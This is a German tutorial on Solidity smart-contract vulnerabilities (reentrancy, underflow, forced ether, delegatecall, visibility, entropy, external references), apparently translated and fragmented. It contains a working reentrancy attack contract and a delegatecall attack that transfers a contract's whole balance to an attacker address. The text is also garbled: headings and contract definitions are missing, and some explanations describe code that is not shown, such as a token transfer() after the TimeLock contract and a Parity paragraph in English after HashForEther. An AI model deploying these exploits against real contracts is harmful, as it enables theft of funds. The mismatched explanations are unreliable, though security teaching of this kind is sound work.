uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;

function depositFunds() public payable {
    balances[msg.sender] += msg.value;
}

function withdrawFunds (uint256 _weiToWithdraw) public {
    require(balances[msg.sender] >= _weiToWithdraw);
    // limit the withdrawal
    require(_weiToWithdraw <= withdrawalLimit);
    // limit the time allowed to withdraw
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    require(msg.sender.call.value(_weiToWithdraw)());
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
}

Dieser Vertrag hat zwei öffentliche Funktionen. `depositFunds()` und `withdrawFunds()`. Die Funktion `depositFunds()` erhöht lediglich das Guthaben des Absenders. Die Funktion `withdrawFunds()` ermöglicht es dem Absender, den Betrag in Wei festzulegen, der abgehoben werden soll. Sie ist nur dann erfolgreich, wenn der angeforderte Abhebungsbetrag weniger als 1 Ether beträgt und in der letzten Woche keine Abhebung stattgefunden hat. Oder etwa nicht?...

Die Schwachstelle liegt in Zeile \[17\], wo wir dem Benutzer den angeforderten Betrag in Ether senden. Stellen Sie sich einen böswilligen Angreifer vor, der den folgenden Vertrag erstellt:

Attack.sol:```solidity
import "EtherStore.sol";

contract Attack {
  EtherStore public etherStore;

  // initialise the etherStore variable with the contract address
  constructor(address _etherStoreAddress) {
      etherStore = EtherStore(_etherStoreAddress);
  }

  function pwnEtherStore() public payable {
      // attack to the nearest ether
      require(msg.value >= 1 ether);
      // send eth to the depositFunds() function
      etherStore.depositFunds.value(1 ether)();
      // start the magic
      etherStore.withdrawFunds(1 ether);
  }

  function collectEther() public {
      msg.sender.transfer(this.balance);
  }

  // fallback function - where the magic happens
  function () payable {
      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }
}

// initialise the mutex
bool reEntrancyMutex = false;
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;

function depositFunds() public payable {
    balances[msg.sender] += msg.value;
}

function withdrawFunds (uint256 _weiToWithdraw) public {
    require(!reEntrancyMutex);
    require(balances[msg.sender] >= _weiToWithdraw);
    // limit the withdrawal
    require(_weiToWithdraw <= withdrawalLimit);
    // limit the time allowed to withdraw
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
    // set the reEntrancy mutex before the external call
    reEntrancyMutex = true;
    msg.sender.transfer(_weiToWithdraw);
    // release the mutex after the external call
    reEntrancyMutex = false;
}

<h3 id="re-example">Praxisbeispiel: The DAO</h3>

[The DAO](https://en.wikipedia.org/wiki/The_DAO_(organization)) (Dezentrale Autonome Organisation) war einer der größten Hacks in der frühen Entwicklungsphase von Ethereum. Zu dieser Zeit hielt der Vertrag über 150 Millionen US-Dollar. Reentrancy spielte eine große Rolle bei dem Angriff, der letztendlich zum Hard Fork führte, der Ethereum Classic (ETC) hervorbrachte. Eine gute Analyse des DAO-Exploits findest du in [Phil Daians Beitrag](http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/).

<h2 id="ouflow"><span id="SP-2">2. Arithmetische Über-/Unterläufe</span></h2>

Die Ethereum Virtual Machine (EVM) definiert Ganzzahl-Datentypen mit fester Größe. Das bedeutet, dass eine Ganzzahlvariable nur einen bestimmten Zahlenbereich darstellen kann. Eine `uint8` kann beispielsweise nur Zahlen im Bereich \[0,255\] speichern. Der Versuch, `256` in eine `uint8` zu speichern, führt zu `0`. Wenn man nicht vorsichtig ist, können Variablen in Solidity ausgenutzt werden, wenn Benutzereingaben ungeprüft sind und Berechnungen durchgeführt werden, die Zahlen ergeben, die außerhalb des Bereichs des sie speichernden Datentyps liegen.

Weiterführende Informationen zu arithmetischen Über-/Unterläufen findest du unter [How to Secure Your Smart Contracts](https://medium.com/loom-network/how-to-secure-your-smart-contracts-6-solidity-vulnerabilities-and-how-to-avoid-them-part-1-c33048d4d17d), [Ethereum Smart Contract Best Practices](https://consensys.github.io/smart-contract-best-practices/known_attacks/#integer-overflow-and-underflow) und [Ethereum, Solidity and integer overflows: programming blockchains like 1970](https://randomoracle.wordpress.com/2018/04/27/ethereum-solidity-and-integer-overflows-programming-blockchains-like-1970/).

<h3 id="ou-vuln">Die Schwachstelle</h3>

Ein Über-/Unterlauf tritt auf, wenn eine Operation ausgeführt wird, bei der eine Variable fester Größe eine Zahl (oder ein Datenelement) speichern muss, die außerhalb des Bereichs des Datentyps der Variable liegt.

Zum Beispiel führt das Subtrahieren von `1` von einer `uint8`-Variable (Ganzzahl ohne Vorzeichen mit 8 Bits, also nur positiv), die den Wert `0` speichert, zur Zahl `255`. Dies ist ein Unterlauf. Wir haben der `uint8` eine Zahl zugewiesen, die unterhalb des Bereichs der `uint8` liegt; das Ergebnis *läuft um* und ergibt die größte Zahl, die eine `uint8` speichern kann. Ebenso lässt das Hinzufügen von `2^8=256` zu einer `uint8` die Variable unverändert, da wir die gesamte Länge der `uint` umlaufen haben (für die Mathematiker: ähnlich wie das Hinzufügen von $2\pi$ zum Winkel einer trigonometrischen Funktion, $\sin(x) = \sin(x+2\pi)$). Das Hinzufügen von Zahlen, die größer als der Bereich des Datentyps sind, wird als Überlauf bezeichnet. Zur Verdeutlichung: Das Hinzufügen von `257` zu einer `uint8`, die derzeit den Wert null hat, ergibt die Zahl `1`. Es ist manchmal lehrreich, sich Variablen mit festen Typen als zyklisch vorzustellen, bei denen wir wieder bei null beginnen,  wenn wir Zahlen über der größten speicherbaren Zahl hinzufügen, und umgekehrt bei null (wo wir umso mehr von der größten Zahl herunterzählen, je mehr wir von 0 subtrahieren).

Diese Art von numerischen Besonderheiten ermöglicht es Angreifern, Code zu missbrauchen und unerwartete Logikabläufe zu erzeugen. Betrachten wir zum Beispiel den folgenden Zeitverriegelungsvertrag.

TimeLock.sol:```solidity
contract TimeLock {

    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = now + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0);
        require(now > lockTime[msg.sender]);
        uint transferValue = balances[msg.sender];
        balances[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
}

Dies ist ein einfacher Token-Vertrag, der eine `transfer()`-Funktion verwendet, die es Teilnehmern ermöglicht, ihre Token zu verschieben. Erkennst du den Fehler in diesem Vertrag?

Der Fehler liegt in der `transfer()`-Funktion. Die `require`-Anweisung in Zeile \[13\] kann durch einen Underflow umgangen werden. Betrachte einen Benutzer, der kein Guthaben hat. Er könnte die `transfer()`-Funktion mit einem beliebigen `_value` ungleich Null aufrufen und die `require`-Anweisung in Zeile \[13\] passieren. Das liegt daran, dass `balances[msg.sender]` Null ist (und ein `uint256`), sodass das Subtrahieren eines beliebigen positiven Betrags (außer `2^256`) aufgrund des oben beschriebenen Underflows eine positive Zahl ergibt. Dies gilt auch für Zeile \[14\], in der unser Guthaben mit einer positiven Zahl belastet wird. In diesem Beispiel haben wir also durch eine Underflow-Schwachstelle kostenlose Token erhalten.

<h3 id="ou-prevention">Präventive Techniken</h3>

Die (derzeit) übliche Technik, um sich vor Unter-/Überlauf-Schwachstellen zu schützen, besteht darin, mathematische Bibliotheken zu verwenden oder zu erstellen, die die Standard-Mathe-Operatoren ersetzen: Addition, Subtraktion und Multiplikation (Division ist ausgenommen, da sie keine Über-/Unterläufe verursacht und die EVM bei Division durch 0 einen Revert ausführt).

[OppenZepplin](https://github.com/OpenZeppelin/zeppelin-solidity) haben hervorragende Arbeit bei der Erstellung und Prüfung sicherer Bibliotheken geleistet, die von der Ethereum-Community genutzt werden können. Insbesondere ihre [Safe Math Library](https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol) ist eine Referenz bzw. Bibliothek, um Unter-/Überlauf-Schwachstellen zu vermeiden.

Um zu demonstrieren, wie diese Bibliotheken in Solidity verwendet werden, korrigieren wir den `TimeLock`-Vertrag mithilfe der `SafeMath`-Bibliothek von Open Zepplin. Der überlauffreie Vertrag würde wie folgt aussehen:```solidity
library SafeMath {

  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract TimeLock {
    using SafeMath for uint; // use the library for uint type
    mapping(address => uint256) public balances;
    mapping(address => uint256) public lockTime;

    function deposit() public payable {
        balances[msg.sender] = balances[msg.sender].add(msg.value);
        lockTime[msg.sender] = now.add(1 weeks);
    }

    function increaseLockTime(uint256 _secondsToIncrease) public {
        lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
    }

    function withdraw() public {
        require(balances[msg.sender] > 0);
        require(now > lockTime[msg.sender]);
        uint transferValue = balances[msg.sender];
        balances[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
}

uint public payoutMileStone1 = 3 ether;
uint public mileStone1Reward = 2 ether;
uint public payoutMileStone2 = 5 ether;
uint public mileStone2Reward = 3 ether;
uint public finalMileStone = 10 ether;
uint public finalReward = 5 ether;

mapping(address => uint) redeemableEther;
// users pay 0.5 ether. At specific milestones, credit their accounts
function play() public payable {
    require(msg.value == 0.5 ether); // each play is 0.5 ether
    uint currentBalance = this.balance + msg.value;
    // ensure no players after the game as finished
    require(currentBalance <= finalMileStone);
    // if at a milestone credit the players account
    if (currentBalance == payoutMileStone1) {
        redeemableEther[msg.sender] += mileStone1Reward;
    }
    else if (currentBalance == payoutMileStone2) {
        redeemableEther[msg.sender] += mileStone2Reward;
    }
    else if (currentBalance == finalMileStone ) {
        redeemableEther[msg.sender] += finalReward;
    }
    return;
}

function claimReward() public {
    // ensure the game is complete
    require(this.balance == finalMileStone);
    // ensure there is a reward to give
    require(redeemableEther[msg.sender] > 0);
    uint transferValue = redeemableEther[msg.sender];
    redeemableEther[msg.sender] = 0;
    msg.sender.transfer(transferValue);
}

Dieser Vertrag stellt ein einfaches Spiel dar (das natürlicherweise [Race-Conditions](#race-conditions)) hervorruft, bei dem Spieler `0.5 ether`-Quanten an den Vertrag senden, in der Hoffnung, der Spieler zu sein, der zuerst einen von drei Meilensteinen erreicht. Die Meilensteine sind in Ether angegeben. Der Erste, der den Meilenstein erreicht, kann einen Teil des Ethers beanspruchen, wenn das Spiel beendet ist. Das Spiel endet, wenn der letzte Meilenstein (`10 ether`) erreicht ist, und die Benutzer können ihre Belohnungen beanspruchen.

Die Probleme mit dem Vertrag `EtherGame` entstehen aus der schlechten Verwendung von `this.balance` in den Zeilen \[14\] (und damit verbunden \[16\]) und \[32\]. Ein böswilliger Angreifer könnte gewaltsam eine kleine Menge Ether senden, sagen wir `0.1 ether`, über die Funktion `selfdestruct()` (weiter oben besprochen), um zu verhindern, dass zukünftige Spieler einen Meilenstein erreichen. Da alle legitimen Spieler nur `0.5 ether`-Schritte senden können, wäre `this.balance` nicht länger eine halbe Ganzzahl, da zusätzlich der `0.1 ether`-Anteil enthalten wäre. Dies verhindert, dass alle if-Bedingungen in den Zeilen \[18\], \[21\] und \[24\] wahr werden.

Noch schlimmer: Ein rachsüchtiger Angreifer, der einen Meilenstein verpasst hat, könnte gewaltsam `10 ether` senden (oder eine entsprechende Menge Ether, die das Vertragsguthaben über den `finalMileStone` treibt), wodurch alle Belohnungen für immer im Vertrag gesperrt würden. Der Grund ist, dass die Funktion `claimReward()` immer zurückweisen wird, aufgrund der require-Anweisung in Zeile \[32\] (d.h. `this.balance` ist größer als `finalMileStone`).

<h3 id="ether-prevention">Vorbeugende Techniken</h3>

Diese Schwachstelle entsteht typischerweise durch den Missbrauch von `this.balance`. Die Vertragslogik sollte, wann immer möglich, vermeiden, von exakten Werten des Vertragsguthabens abhängig zu sein, da dieses künstlich manipuliert werden kann. Wenn Logik auf Basis von `this.balance` angewendet wird, sollte man unerwartete Guthaben berücksichtigen.

Wenn exakte Werte des eingezahlten Ethers erforderlich sind, sollte eine selbst definierte Variable verwendet werden, die in payable-Funktionen erhöht wird, um den eingezahlten Ether sicher zu verfolgen. Diese Variable wird nicht durch den erzwungenen Ether beeinflusst, der über einen `selfdestruct()`-Aufruf gesendet wird.

Vor diesem Hintergrund könnte eine korrigierte Version des Vertrags `EtherGame` wie folgt aussehen:```solidity
contract EtherGame {

    uint public payoutMileStone1 = 3 ether;
    uint public mileStone1Reward = 2 ether;
    uint public payoutMileStone2 = 5 ether;
    uint public mileStone2Reward = 3 ether;
    uint public finalMileStone = 10 ether;
    uint public finalReward = 5 ether;
    uint public depositedWei;

    mapping (address => uint) redeemableEther;

    function play() public payable {
        require(msg.value == 0.5 ether);
        uint currentBalance = depositedWei + msg.value;
        // ensure no players after the game as finished
        require(currentBalance <= finalMileStone);
        if (currentBalance == payoutMileStone1) {
            redeemableEther[msg.sender] += mileStone1Reward;
        }
        else if (currentBalance == payoutMileStone2) {
            redeemableEther[msg.sender] += mileStone2Reward;
        }
        else if (currentBalance == finalMileStone ) {
            redeemableEther[msg.sender] += finalReward;
        }
        depositedWei += msg.value;
        return;
    }

    function claimReward() public {
        // ensure the game is complete
        require(depositedWei == finalMileStone);
        // ensure there is a reward to give
        require(redeemableEther[msg.sender] > 0);
        uint transferValue = redeemableEther[msg.sender];
        redeemableEther[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
 }

// modify the zeroth number in the sequence
function setStart(uint _start) public {
    start = _start;
}

function setFibonacci(uint n) public {
    calculatedFibNumber = fibonacci(n);
}

function fibonacci(uint n) internal returns (uint) {
    if (n == 0) return start;
    else if (n == 1) return start + 1;
    else return fibonacci(n - 1) + fibonacci(n - 2);
}

Diese Bibliothek stellt eine Funktion bereit, die die *n*-te Fibonacci-Zahl in der Sequenz erzeugen kann. Sie ermöglicht es Benutzern, die Startzahl der Sequenz (`start`) zu ändern und die *n*-ten fibonacci-ähnlichen Zahlen in dieser neuen Sequenz zu berechnen.

Betrachten wir nun einen Vertrag, der diese Bibliothek nutzt.


`FibonacciBalance.sol`:```solidity
contract FibonacciBalance {

    address public fibonacciLibrary;
    // the current fibonacci number to withdraw
    uint public calculatedFibNumber;
    // the starting fibonacci sequence number
    uint public start = 3;
    uint public withdrawalCounter;
    // the fibonancci function selector
    bytes4 constant fibSig = bytes4(sha3("setFibonacci(uint256)"));

    // constructor - loads the contract with ether
    constructor(address _fibonacciLibrary) public payable {
        fibonacciLibrary = _fibonacciLibrary;
    }

    function withdraw() {
        withdrawalCounter += 1;
        // calculate the fibonacci number for the current withdrawal user
        // this sets calculatedFibNumber
        require(fibonacciLibrary.delegatecall(fibSig, withdrawalCounter));
        msg.sender.transfer(calculatedFibNumber * 1 ether);
    }

    // allow users to call fibonacci library functions
    function() public {
        require(fibonacciLibrary.delegatecall(msg.data));
    }
}

// fallback - this will run if a specified function is not found
function() public {
    storageSlot1 = 0; // we set calculatedFibNumber to 0, so that if withdraw
    // is called we don't send out any ether.
    <attacker_address>.transfer(this.balance); // we take all the ether
}

Beachten Sie, dass dieser Angriffsvertrag die `calculatedFibNumber` ändert, indem er den Storage-Slot `slot[1]` verändert. Im Prinzip könnte ein Angreifer jeden beliebigen anderen Storage-Slot ändern, um alle möglichen Angriffe auf diesen Vertrag auszuführen. Ich ermutige alle Leser, diese Verträge in [Remix](https://remix.ethereum.org) zu laden und mit verschiedenen Angriffsverträgen und Zustandsänderungen über diese `delegatecall`-Funktionen zu experimentieren.

Es ist auch wichtig zu beachten, dass wir, wenn wir sagen, dass `delegatecall` zustandserhaltend ist, nicht über die Variablennamen des Vertrags sprechen, sondern über die tatsächlichen Storage-Slots, auf die diese Namen zeigen. Wie Sie an diesem Beispiel sehen können, kann ein einfacher Fehler dazu führen, dass ein Angreifer den gesamten Vertrag und sein Ether übernimmt.

<h3 id="dc-prevention">Präventionstechniken</h3>

Solidity bietet das Schlüsselwort `library` zur Implementierung von Library-Verträgen (weitere Details finden Sie in der [Solidity-Dokumentation](http://solidity.readthedocs.io/en/latest/contracts.html?highlight=library#libraries)). Dadurch wird sichergestellt, dass der Library-Vertrag zustandslos und nicht selbstzerstörbar ist. Die Erzwingung von Zustandslosigkeit bei Libraries verringert die Komplexität des Storage-Kontexts, die in diesem Abschnitt demonstriert wurde. Zustandslose Libraries verhindern außerdem Angriffe, bei denen Angreifer den Zustand der Library direkt ändern, um die Verträge zu beeinflussen, die vom Code der Library abhängen. Als allgemeine Faustregel gilt: Achten Sie bei der Verwendung von `DELEGATECALL` sorgfältig auf den möglichen Aufrufkontext sowohl des Library-Vertrags als auch des aufrufenden Vertrags und erstellen Sie, wann immer möglich, zustandslose Libraries.

<h3 id="dc-example">Praxisbeispiel: Parity Multisig Wallet (zweiter Hack)</h3>

Der zweite Hack der Parity Multisig Wallet ist ein Beispiel dafür, wie der Kontext von gut geschriebenem Library-Code ausgenutzt werden kann, wenn er in einem nicht vorgesehenen Kontext ausgeführt wird. Es gibt eine Reihe guter Erklärungen für diesen Hack, etwa diese Übersicht: [Parity MultiSig Hacked. Again](https://medium.com/chain-cloud-company-blog/parity-multisig-hack-again-b46771eaa838) von Anthony Akentiev, diese [Stack-Exchange-Frage](https://ethereum.stackexchange.com/questions/30128/explanation-of-parity-library-suicide/30130) und [An In-Depth Look at the Parity Multisig Bug](http://hackingdistributed.com/2017/07/22/deep-dive-parity-bug/).

Um diese Referenzen zu ergänzen, wollen wir uns die Verträge ansehen, die ausgenutzt wurden. Der Library- und der Wallet-Vertrag sind auf dem Parity-GitHub [hier](https://github.com/paritytech/parity/blob/b640df8fbb964da7538eef268dffc125b081a82f/js/src/contracts/snippets/enhanced-wallet.sol) zu finden.

Schauen wir uns die relevanten Aspekte dieses Vertrags an. Hier sind zwei Verträge von Interesse enthalten: der Library-Vertrag und der Wallet-Vertrag.

Der Library-Vertrag,```solidity
contract WalletLibrary is WalletEvents {

  ...

  // throw unless the contract is not yet initialized.
  modifier only_uninitialized { if (m_numOwners > 0) throw; _; }

  // constructor - just pass on the owner array to the multiowned and
  // the limit to daylimit
  function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
    initDaylimit(_daylimit);
    initMultiowned(_owners, _required);
  }

  // kills the contract sending everything to `_to`.
  function kill(address _to) onlymanyowners(sha3(msg.data)) external {
    suicide(_to);
  }

  ...

}

Beachte, dass der `Wallet`-Vertrag im Wesentlichen alle Aufrufe über einen Delegate-Call an den `WalletLibrary`-Vertrag weitergibt. Die Konstante `_walletLibrary`-Adresse in diesem Codeausschnitt dient als Platzhalter für den tatsächlich bereitgestellten `WalletLibrary`-Vertrag (der sich unter `0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4` befand).

Der beabsichtigte Zweck dieser Verträge war es, einen einfachen, kostengünstig bereitstellbaren `Wallet`-Vertrag zu haben, dessen Codebasis und Hauptfunktionalität sich im `WalletLibrary`-Vertrag befand. Leider ist der `WalletLibrary`-Vertrag selbst ein Vertrag und verwaltet seinen eigenen Zustand. Erkennst du, warum dies ein Problem sein könnte?

Es ist möglich, Aufrufe an den `WalletLibrary`-Vertrag selbst zu senden. Insbesondere konnte der `WalletLibrary`-Vertrag initialisiert und in Besitz genommen werden. Ein Benutzer tat dies, indem er die Funktion `initWallet()` auf dem `WalletLibrary`-Vertrag aufrief und so zum Eigentümer des Library-Vertrags wurde. Derselbe Benutzer rief anschließend die Funktion `kill()` auf. Da der Benutzer ein Eigentümer des Library-Vertrags war, wurde die Modifier-Prüfung bestanden und der Library-Vertrag führte die Selbstzerstörung aus. Da alle existierenden `Wallet`-Verträge auf diesen Library-Vertrag verweisen und keine Methode enthalten, um diesen Verweis zu ändern, geht ihre gesamte Funktionalität, einschließlich der Möglichkeit, Ether abzuheben, zusammen mit dem `WalletLibrary`-Vertrag verloren. Noch direkter gesagt: Sämtliches Ether in allen Parity-Multi-Sig-Wallets dieser Art geht sofort verloren oder ist dauerhaft unwiederbringlich.

<h2 id="visibility"><span id="SP-5">5. Standard-Sichtbarkeiten</span></h2>

Funktionen in Solidity haben Sichtbarkeitsspezifizierer, die festlegen, wie Funktionen aufgerufen werden dürfen. Die Sichtbarkeit bestimmt, ob eine Funktion extern von Benutzern, von anderen abgeleiteten Verträgen, nur intern oder nur extern aufgerufen werden kann. Es gibt vier Sichtbarkeitsspezifizierer, die im Detail in der [Solidity-Dokumentation](http://solidity.readthedocs.io/en/latest/contracts.html?highlight=library#visibility-and-getters) beschrieben werden. Funktionen sind standardmäßig als `public` definiert, sodass Benutzer sie extern aufrufen können. Eine falsche Verwendung von Sichtbarkeitsspezifizierern kann zu verheerenden Schwachstellen in Smart Contracts führen, wie in diesem Abschnitt erörtert wird.

<h3 id="visibility-vuln">Die Schwachstelle</h3>

Die Standard-Sichtbarkeit für Funktionen ist `public`. Daher sind Funktionen, die keine Sichtbarkeit angeben, für externe Benutzer aufrufbar. Das Problem tritt auf, wenn Entwickler versehentlich Sichtbarkeitsspezifizierer bei Funktionen ignorieren, die privat (oder nur innerhalb des Vertrags selbst aufrufbar) sein sollten.

Betrachten wir kurz ein triviales Beispiel.```solidity
contract HashForEther {

    function withdrawWinnings() {
        // Winner if the last 8 hex characters of the address are 0.
        require(uint32(msg.sender) == 0);
        _sendWinnings();
     }

     function _sendWinnings() {
         msg.sender.transfer(this.balance);
     }
}

Notice that neither of the functions have explicitly specified a visibility. Both functions default to `public`. The `initWallet()` function is called in the wallets constructor and sets the owners for the multi-sig wallet as can be seen in the `initMultiowned()` function. Because these functions were accidentally left `public`, an attacker was able to call these functions on deployed contracts, resetting the ownership to the attackers address. Being the owner, the attacker then drained the wallets of all their ether, to the tune of \$31M.

<h2 id="entropy"><span id="SP-6">6. Entropie-Illusion</span></h2>

Alle Transaktionen auf der Ethereum-Blockchain sind deterministische Zustandsübergangsoperationen. Das bedeutet, dass jede Transaktion den globalen Zustand des Ethereum-Ökosystems verändert, und zwar auf berechenbare Weise ohne Unsicherheit. Das bedeutet letztlich, dass es innerhalb des Blockchain-Ökosystems keine Quelle für Entropie oder Zufälligkeit gibt. Es gibt keine `rand()`-Funktion in Solidity. Dezentrale Entropie (Zufälligkeit) zu erreichen, ist ein bekanntes Problem, und viele Ideen wurden vorgeschlagen, um es zu lösen (siehe zum Beispiel [RandDAO](https://github.com/randao/randao) oder die Verwendung einer Hash-Kette, wie von Vitalik in diesem [Post](https://vitalik.ca/files/randomness.html) beschrieben).

<h3 id="entropy-vuln">Die Schwachstelle</h3>

Einige der ersten Verträge, die auf der Ethereum-Plattform erstellt wurden, basierten auf Glücksspiel. Im Grunde erfordert Glücksspiel Unsicherheit (etwas, auf das man wetten kann), was es ziemlich schwierig macht, ein Glücksspielsystem auf der Blockchain (einem deterministischen System) aufzubauen. Es ist klar, dass die Unsicherheit aus einer Quelle außerhalb der Blockchain stammen muss. Dies ist bei Wetten unter Gleichgestellten möglich (siehe zum Beispiel die [Commit-Reveal-Technik](https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract)), jedoch ist es erheblich schwieriger, wenn man einen Vertrag implementieren möchte, der als *die Bank* (wie bei Blackjack oder Roulette) fungiert. Eine häufige Falle ist die Verwendung zukünftiger Blockvariablen wie Hashes, Zeitstempel, Blocknummer oder Gaslimit. Das Problem dabei ist, dass diese vom Miner kontrolliert werden, der den Block schürft, und daher nicht wirklich zufällig sind. Betrachten Sie zum Beispiel einen Roulette-Smart-Contract mit einer Logik, die eine schwarze Zahl zurückgibt, wenn der Hash des nächsten Blocks auf eine gerade Zahl endet. Ein Miner (oder ein Mining-Pool) könnte \$1M auf Schwarz setzen. Wenn sie den nächsten Block lösen und feststellen, dass der Hash auf eine ungerade Zahl endet, würden sie ihren Block wohl nicht veröffentlichen und einen weiteren schürfen, bis sie eine Lösung finden, bei der der Block-Hash eine gerade Zahl ist (vorausgesetzt, die Blockbelohnung und die Gebühren sind geringer als \$1M). Die Verwendung vergangener oder gegenwärtiger Variablen kann sogar noch verheerender sein, wie Martin Swende in seinem exzellenten [Blogbeitrag](http://martin.swende.se/blog/Breaking_the_house.html) demonstriert. Darüber hinaus bedeutet die alleinige Verwendung von Blockvariablen, dass die Pseudozufallszahl für alle Transaktionen in einem Block gleich ist. Ein Angreifer kann seine Gewinne also vervielfachen, indem er viele Transaktionen innerhalb eines Blocks durchführt (sofern es einen maximalen Einsatz gibt).

<h3 id="entropy-prevention">Vorbeugende Techniken</h3>

Die Quelle der Entropie (Zufälligkeit) muss außerhalb der Blockchain liegen. Dies kann unter Gleichgestellten mit Systemen wie [Commit-Reveal](https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract) erfolgen oder durch Änderung des Vertrauensmodells hin zu einer Gruppe von Teilnehmern (wie bei [RandDAO](https://github.com/randao/randao)). Dies kann auch über eine zentralisierte Einheit erfolgen, die als Orakel für Zufälligkeit fungiert. Blockvariablen (im Allgemeinen gibt es einige Ausnahmen) sollten nicht als Entropiequelle verwendet werden, da sie von Minern manipuliert werden können.

<h3 id="entropy-example">Beispiel aus der Praxis: PRNG-Verträge</h3>

Arseny Reutov schrieb einen [Blogbeitrag](https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620), nachdem er 3649 aktive Smart Contracts analysiert hatte, die eine Art Pseudozufallszahlengenerator (PRNG) verwendeten, und 43 Verträge fand, die ausgenutzt werden konnten.

<h2 id="contract-reference"><span id="SP-7">7. Externe Vertragsreferenzierung</span></h2>

Einer der Vorteile des Ethereum-*Weltcomputers* ist die Möglichkeit, Code wiederzuverwenden und mit bereits im Netzwerk bereitgestellten Verträgen zu interagieren. Infolgedessen referenzieren viele Verträge externe Verträge und verwenden im allgemeinen Betrieb externe Nachrichtenaufrufe, um mit diesen Verträgen zu interagieren. Diese externen Nachrichtenaufrufe können die Absichten böswilliger Akteure auf nicht offensichtliche Weise verschleiern, was wir diskutieren werden.

<h3 id="cr-vuln">Die Schwachstelle</h3>

In Solidity kann jede Adresse als Vertrag gecastet werden, unabhängig davon, ob der Code an der Adresse dem Vertragstyp entspricht, der gecastet wird. Das kann irreführend sein, insbesondere wenn der Autor des Vertrags versucht, bösartigen Code zu verbergen. Lassen Sie uns das anhand eines Beispiels veranschaulichen:

Betrachten Sie ein Codefragment, das die [Rot13](https://github.com/al1ex/soliditysecurity/blob/HEAD/www.wikipedia.com/rot13)-Chiffre rudimentär implementiert.

`Rot13Encryption.sol`:```solidity
//encryption contract
contract Rot13Encryption {

   event Result(string convertedString);

    //rot13 encrypt a string
    function rot13Encrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            //inline assembly to modify the string
            assembly {
                char := byte(0,char) // get the first byte
                if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
                { char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
                if iszero(eq(char, 0x20)) // ignore spaces
                {mstore8(add(add(text,0x20), mul(i,1)), add(char,13))} // add 13 to char.
            }
        }
        emit Result(text);
    }

    // rot13 decrypt a string
    function rot13Decrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            assembly {
                char := byte(0,char)
                if and(gt(char,0x60), lt(char,0x6E))
                { char:= add(0x7B, sub(char,0x61)) }
                if iszero(eq(char, 0x20))
                {mstore8(add(add(text,0x20), mul(i,1)), sub(char,13))}
            }
        }
        emit Result(text);
    }
}

// constructor - initialise the library
constructor(Rot13Encryption _encryptionLibrary) {
    encryptionLibrary = _encryptionLibrary;
}

function encryptPrivateData(string privateInfo) {
    // potentially do some operations here
    encryptionLibrary.rot13Encrypt(privateInfo);
 }

Das Problem bei diesem Vertrag ist, dass die `encryptionLibrary`-Adresse nicht öffentlich oder konstant ist. Somit hätte der Ersteller des Vertrags im Konstruktor eine Adresse angeben können, die auf diesen Vertrag verweist:```solidity
//encryption contract
contract Rot26Encryption {

   event Result(string convertedString);

    //rot13 encrypt a string
    function rot13Encrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            //inline assembly to modify the string
            assembly {
                char := byte(0,char) // get the first byte
                if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
                { char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
                if iszero(eq(char, 0x20)) // ignore spaces
                {mstore8(add(add(text,0x20), mul(i,1)), add(char,26))} // add 13 to char.
            }
        }
        emit Result(text);
    }

    // rot13 decrypt a string
    function rot13Decrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            assembly {
                char := byte(0,char)
                if and(gt(char,0x60), lt(char,0x6E))
                { char:= add(0x7B, sub(char,0x61)) }
                if iszero(eq(char, 0x20))
                {mstore8(add(add(text,0x20), mul(i,1)), sub(char,26))}
            }
        }
        emit Result(text);
    }
}

function rot13Encrypt(string text) public {
    emit Print(text);
}

